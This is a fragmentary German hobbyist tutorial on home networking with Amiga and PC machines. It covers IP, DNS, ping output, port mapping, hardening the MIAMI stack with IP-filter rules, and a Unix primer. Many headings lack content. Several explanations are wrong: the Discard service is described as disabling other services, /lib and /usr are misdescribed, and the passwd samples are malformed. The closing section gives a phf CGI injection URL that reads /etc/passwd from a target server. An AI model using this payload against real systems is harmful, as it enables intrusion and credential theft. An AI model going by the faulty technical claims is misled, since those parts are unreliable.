• Computer müssen sich die Bandbreite teilen (vor allem bei Modem schlecht...).
  
• Fängt sich das System einen Virus ein, kann dieser alle anderen Rechner auch angreifen, natürlich nur, wenn die Rechner gleich sind, ein AMIGA kann sich keinen MAC Virus einfangen.
  

• Unkomplizierter Datenaustausch
  
• Zugriff auf gemeinsame Ressourcen (CD-ROM, HD usw...)
  
• Schnelleres Raytracing, es können mehrere Rechner gleichzeitig eine Szene rendern
  
• Einfache Kontrolle über die Rechner
  

Einführung in Internet Protokoll (IP)

IP-Netzklassen

Dynamische IP und Statische IP

123.45.67.1 - der erste Rechner
123.45.67.2 - der zweiter Rechner
123.45.67.3 - der dritte Rechner

Einführung in DNS (Domain Name Server)

domain fanhp.de
nameserver xxx.xxx.2.1  ; Amiga
nameserver xxx.xxx.2.2  ; Rei
nameserver xxx.xxx.2.3  ; Anime
nameserver ???.???.?.?  ; ?

DNS-Anfragen mit nslookup

sun# nslookup
Default Server: amiga.power.de
Address:  xxx.xxx.x.x

sun# nslookup
*** Can´t find server name for address xxx.xxx.x.x: Server failed
*** Default servers are not available
sun#

Einführung in TERMINAL-Programm und Benutzung

Einstellungen beim Amiga

Einstellungen beim PC

Einstellungen für PC für Proxy Server

Starten der TCP/IP Verbindung

Austesten der Verbindung

C:\WINDOWS>ping 170.100.128.1

Ping wird ausgeführt für 170.100.128.1 mit 32 Bytes Daten

Antwort von 170.100.128.1: Bytes=32 Zeit=78ms TTL=255
Antwort von 170.100.128.1: Bytes=32 Zeit=75ms TTL=255
Antwort von 170.100.128.1: Bytes=32 Zeit=80ms TTL=255
Antwort von 170.100.128.1: Bytes=32 Zeit=77ms TTL=255

Ping-Statistik für 170.100.128.1:
    Pakete: Gesendet = 4, Empfangen = 4, Verloren = 0 (0%
Ca. Zeitangaben in Millisek.:
    Minimum = 75ms, Maximum =  80ms, Mittelwert =  77ms

C:\WINDOWS>ping 170.100.128.10

Ping wird ausgeführt für 170.100.128.10 mit 32 B

Zeitüberschreitung der Anforderung.
Zeitüberschreitung der Anforderung.
Zeitüberschreitung der Anforderung.
Zeitüberschreitung der Anforderung.

Ping-Statistik für 170.100.128.10:
    Pakete: Gesendet = 4, Empfangen = 0, Verlore
Ca. Zeitangaben in Millisek.:
    Minimum = 0ms, Maximum =  0ms, Mittelwert =

Aufsuchen des Fehlers

Proxy Server verwenden

Portmapping

Client => Proxy:1111 => 123.45.67.89:6667
123.45.67.89:6667 => Proxy:1111 => Client

4000 = ICQ Server Port (Standard)
6318 = Dynamite Server Port (Standard)
6667 = IRC Server Port (Standard)
8000 = HPMonopoly Port (Standard)
8875 = Amster Server Port (Standard)

Konfiguration von JANA 1.x

Konfiguration von JANA 2.x

Einleitung

Abschalten der Ports

Die Ports kann man in MIAMI relativ einfach abschalten. Dazu geht man ins Menü
Datenbank > Dienste und nun müsste folgendes Fenster erscheinen:



Hier sollte man die Dienste bzw. Ports

Echo, Time, Daytime und Chargen

anklicken, damit sie deaktiviert sind. Aber man sollte sie nicht gleich entfernen, weil man sie evtl. später doch mal fürs Netzwerk oder so benötigt.
Achtung: Es darf auf keinen Fall der Dienst Discard deaktiviert werden, weil es das genaue Gegenteil bewirkt.
Dieser Dienst ist dazu da, die Dienste auszuschalten, also disable bezogen auf Discard.



Nun muss man nur noch im Cycle-Menü auf INetD gehen und dieselben Dienste deaktivieren.
INetD ist für die vom Computer angebotenen Dienste da.
Das Untermenü Dienste bezieht sich dazu auf die Dienste des Servers!
Wenn alle speziellen Dienste auch hier deaktiviert wurden, ist man vor Loop-Attacks von der Serverseite aus und aus dem Internet relativ sicher.

Es ist natürlich klar, dass dieses nicht reicht, um 100% Schutz vor Hackern und DoS-Attacks zu bekommen.
Deswegen sollte man sich auch noch eine Firewall oder für die unerfahrenen User einen IP-Filter installieren!


5. Einrichten einer Firewall bzw. eines IP-Filters
Um sich sicher vor Hackern und DoS-Attacks zu schützen, ist es notwendig, sich einen IP-Filter oder eine Firewall einzurichten!

Sinn und Zweck eines IP-Filters oder Firewall:

IP-Filter
Ein IP-Filter ist, wie der Name schon sagt, für die IP-Nummern wichtig!
Der IP-Filter geht systematisch ein Liste durch und anhand dieser Liste wird einer IP-Nummer Zugriff auf einen gewissen Port oder Service erlaubt oder nicht!
Die Einrichtung eines IP-Filters ist sehr einfach und deswegen auch für den unerfahrenen User einfach zu realisieren!

Firewall
Die Firewall ist wesentlich komplizierter als ein IP-Filter. Es stehen auch mehr Funktionen als nur die Funktionen eines IP-Filters zur Verfügung.
Man kann z.B. Ports bzw. Protokolle komplett sperren oder auch Handshakeverfahren festlegen.
Eine Firewall wird in allen Großrechnern bzw. UNIX-Rechnern eingesetzt!
Der Sicherheitsstandard ist hierbei relativ hoch!
Leider kann man eine Firewall nur mit MIAMI DX einrichten!

Einrichten eines IP-Filters

Um einen IP-Filter mit MIAMI einzurichten, geht man einfach ins Menü unter Datenbank > IP-Filter und gibt dort die gewünschten Parameter ein!



Erklärung des Beispiels:


Zugriff auf eigene Schnittstelle erlauben:

*|*     |127.0.0.1||y|y => IP 127.0.0.1 hat vollen Zugriff

Diese Zeile erlaubt den Zugriff der IP 127.0.0.1 auf alle Services.
Die IP 127.0.0.1 ist die LOOPBACK IP. Sie ist für die Verbindung vom seinem Computer zum seinem Computer zuständig. Deswegen ist sie bei allen Rechnern immer dieselbe.
Außerdem wird noch alles aufgezeichnet. So erkennt man evtl. Backdoors oder Viren, die versuchen, sich über die Internetleitung ein Netzwerk zu anderen aufzubauen.


Zugriff auf Standardservices verweigern:

*|auth  | *.*.*.* ||n|y => Keinen Zugriff auf Service Auth
*|systat| *.*.*.* ||n|y => Keinen Zugriff auf Service Systat
*|whois | *.*.*.* ||n|y => Keinen Zugriff auf Service Whois
*|auth  | *.*.*.* ||n|y => Keinen Zugriff auf Service Auth
*|finger| *.*.*.* ||n|y => Keinen Zugriff auf Service Finger
*|who   | *.*.*.* ||n|y => Keinen Zugriff auf Service Who
*|login | *.*.*.* ||n|y => Keinen Zugriff auf Service Login

Diese Zeilen erlauben keinem Rechner die Zugriffe auf die Services Auth, Systat, Whois, Auth, Finger, Who oder Login. Normalerweise werden diese Services benötigt, um Auskunft über den Rechner zu bekommen.
Also wer ein bisschen unbekannter im Netz surfen will, sollte diese Einstellungen vornehmen, andere können sie weglassen.


Zugriff für bestimme Berreiche sperren:

*|$     | *.*.*.* ||n|y => Keinen Zugriff auf Services $

Diese Zeile verweigert allen Rechnern den Zugriff auf Nicht-Standardports, aber weil für FTP, Mailservice (POP3-E-Mail) usw. Zugriff auf bestimmte Ports benötig wird, wird durch das $ der Zugriff auf solche Ports erlaubt.
Aber diese Zugriffe werden auch gef. angezeigt.


Zugriff auf restliche Ports anzeigen und erlauben:

*|*     | *.*.*.* ||y|y => Zugriff auf Services

Diese Zeile erlaubt jetzt noch Zugriff auf die Ports, die noch nicht in der Liste genannt wurden.
Aber es wird jeder Zugriff protokolliert und sofort angezeigt.
Das ist nützlich, um festzustellen, ob man z.B. genukt wird.
Da die Ports außerhalb normaler Berreiche liegen, genauso wie die FTP-Ports, würden sie in der jetzigen Einstellung nicht angezeigt. Aber genau sowas macht einen guten IP-Filter aus.
Deswegen darf die letzte Zeile auf gar keinen Fall fehlen.
Die letzte Zeile darf auch nicht auf Zugriff n (no) stehen, weil sonst keine FTP- oder POP3-Verbindungen zu Stande kommen, weil diese Ports außerhalb des normalen Bereichs liegen.


Wichtige Zusatz-Infos:

Der IP-Filter geht die Einstellungen von oben nach unten systematisch durch, d.h.
wenn am Anfang Zugriff auf einen Service erlaubt wird, und weiter unten nicht, wird der untere Eintrag ignoriert.

Die Einträge können Online geändert werden, d.h. wenn man z.B. zuviele Anfragen von einem Recher bekommt, sollte man die letzte Zeile kurzzeitig auf Zugriff: N stellen.
Die Einstellungen werden sofort übernommen.

Der * steht für eine Variable, d.h. man kann auch einen Rechner, der eine dynamische IP hat, in den Filter übernehmen.
Ein Beispiel:

*|*     |233.2.*.*||n|y

Diesen Eintrag sollte man sofort machen, wenn Anfragen auf die sog. Nukeports kommen.
Oder wenn man mehr als 2-3 Anfragen hintereinander von dem Rechner bekommt, außer bei FTP-Servern.
Somit bekommt die IP bzw. der Angreifer überhaupt keinen Zugriff auf irgendwas und die Zugriffe werden auch mitprotokolliert.
Man sollte nur, wenn man den IP-Filter Online ändert, nicht vergessen, diesen dann auch zu speichern. ;-)

Download der Konfig:

Hier könnt ihr die oben genannte Konfig ganz einfach downloaden und müsst sie nicht eintippen.
Ihr müsst bei dem Konfigscreen einfach die rechte Maustaste drücken und aus dem Menü dann Importieren aus ASCII-Datei... auswählen.
Hier wählt ihr dann einfach die downgeloadete Konfig an. Fertig. So einfach geht das! ;-)

Hier klicken, um die Konfig downzuloaden!

Einrichten einer Firewall

Vorwort

Einführung in ein UNIX (Linux) System

CD = Springt ins Verzeichnis
CP = Kopiert Dateien 
LS = Listet Dateien auf
RM = Löscht Dateien
MV = Verschiebt Dateien
TOP = Zeigt laufende Systemprozesse
WHO = Zeigt User, die gerade Online sind

/etc - Enthält alle Dateien des Administrators, meistens hat aber ein
       normaler User keinen Zugriff darauf! Hier befindet sich auch die
       Passwortdatei (pwd bzw. passwd) und andere wichtige Dateien.
/dev - Enthält alle Dateien für virtuelle Laufwerke wie z.B. Drucker,
       Wechsellaufwerke und andere Dateisysteme.
/tmp - Dort befinden sich die temporären Dateien.
/lib - Dieses Verzeichnis enthält Programme für sehr hohe Programmier-
       sprachen.
/usr - Hier befindet sich die Schublade jedes einzelnen Benutzers.
/bin - Befehl-Schublade, hier sind die ausführbaren Programme für die
       einzelnen UNIX Befehle drin.

Aufbau der Passwortdatei

root:rootpasswort:0:1:0000:/:
sysadm:sysadmpasswort:0:0:administration:/
user/admin:/bin/rsh

Hier ist eine normal verschlüsselte PW-Datein dargestellt, d.h. man kann
sofort alles ablesen.



Nun mal zum Vergleich eine PW-Datei, wo PW-shadow aktiviert ist:

root:x:0:1:0000:/
sysadm:x:0:0:administration:/
user/admin:/bin/rsh

Zugriff auf die Passwortdatei

http://xxx.xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
 (xxx.xxx.xxx.xxx steht dabei für die IP-Adresse des UNIX-Rechners)